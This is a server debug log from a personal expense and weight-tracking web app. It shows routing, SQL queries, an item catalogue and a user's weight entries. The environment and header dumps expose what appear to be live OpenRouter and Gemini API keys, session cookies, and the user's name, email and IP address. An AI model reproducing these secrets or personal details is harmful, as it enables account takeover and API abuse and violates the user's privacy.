  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T05:09:54.799Z server-connect:output restrict: undefined
2025-12-18T05:09:54.799Z server-connect:app Executing action step custom
2025-12-18T05:09:54.799Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-18T05:09:54.799Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T05:09:54.800Z server-connect:output list: [
  { date: 2025-12-17T18:30:00.000Z, weight: '7030.00' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-18T05:11:12.279Z server-connect:router Serving templateView /weight-trackor
2025-12-18T05:11:12.279Z server-connect:app Executing action step identify
2025-12-18T05:11:12.279Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:12.279Z server-connect:output identity: 1
2025-12-18T05:11:12.279Z server-connect:app Executing action step restrict
2025-12-18T05:11:12.279Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:11:12.281Z server-connect:output restrict: undefined
2025-12-18T05:11:12.281Z server-connect:router Render template layouts/main
2025-12-18T05:11:12.281Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-18T05:11:12.874Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T05:11:12.876Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-18T05:11:12.877Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T05:11:12.877Z server-connect:app Executing action step identify
2025-12-18T05:11:12.877Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:12.877Z server-connect:output identity: 1
2025-12-18T05:11:12.877Z server-connect:app Executing action step restrict
2025-12-18T05:11:12.877Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:11:12.878Z server-connect:app Executing action step identify
2025-12-18T05:11:12.878Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:12.878Z server-connect:output identity: 1
2025-12-18T05:11:12.878Z server-connect:app Executing action step restrict
2025-12-18T05:11:12.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:11:12.879Z server-connect:output restrict: undefined
2025-12-18T05:11:12.879Z server-connect:app Executing action step select
2025-12-18T05:11:12.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T05:11:12.879Z server-connect:app Executing action step identify
2025-12-18T05:11:12.879Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:12.879Z server-connect:output identity: 1
2025-12-18T05:11:12.880Z server-connect:app Executing action step restrict
2025-12-18T05:11:12.880Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:11:12.880Z server-connect:output restrict: undefined
2025-12-18T05:11:12.880Z server-connect:app Executing action step custom
2025-12-18T05:11:12.880Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-18T05:11:12.881Z server-connect:output restrict: undefined
2025-12-18T05:11:12.881Z server-connect:app Executing action step single
2025-12-18T05:11:12.881Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T05:11:12.882Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T05:11:12.882Z server-connect:output list: [
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-18T05:11:12.884Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T05:11:18.099Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T05:11:18.099Z server-connect:app Executing action step identify
2025-12-18T05:11:18.099Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:18.099Z server-connect:output identity: 1
2025-12-18T05:11:18.099Z server-connect:app Executing action step restrict
2025-12-18T05:11:18.099Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:11:18.100Z server-connect:output restrict: undefined
2025-12-18T05:11:18.100Z server-connect:router Render template calorie-tracker
2025-12-18T05:11:18.100Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
